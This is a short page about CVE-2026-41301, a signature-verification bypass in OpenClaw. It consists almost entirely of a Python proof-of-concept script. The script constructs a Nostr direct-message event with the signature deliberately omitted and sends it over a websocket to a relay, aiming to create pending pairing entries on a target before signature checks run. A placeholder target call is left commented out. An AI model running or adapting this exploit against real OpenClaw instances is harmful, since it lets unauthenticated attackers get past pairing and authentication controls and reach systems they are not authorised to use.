CVE-2026-41301 OpenClaw签名验证绕过漏洞

import json import websockets import asyncio # Conceptual Proof of Concept for CVE-2026-41301 # This script demonstrates how an unauthenticated attacker might send # a forged Nostr DM to trigger the pairing challenge before signature validation. async def exploit_openclaw(relay_url, target_pubkey): # Construct a forged Nostr event (Kind 4 is DM) # Note: In a real scenario, the signature would be invalid or missing # to bypass the verification logic in the vulnerable version. forged_event = { "kind": 4, "content": "Forged pairing payload", "tags": [["p", target_pubkey]], "created_at": 1713648000, "pubkey": "attacker_controlled_pubkey", # "sig": "..." // Signature omitted to exploit bypass } # Nostr relay message format message = ["EVENT", forged_event] try: print(f"[*] Connecting to {relay_url}...") async with websockets.connect(relay_url) as websocket: print("[*] Sending forged DM to trigger pairing bypass...") await websocket.send(json.dumps(message)) print("[+] Payload sent. Check target for pending pairing entries.") except Exception as e: print(f"[-] Error: {e}") # Replace with actual target details # asyncio.run(exploit_openclaw("wss://target-openclaw-relay.com", "victim_public_key"))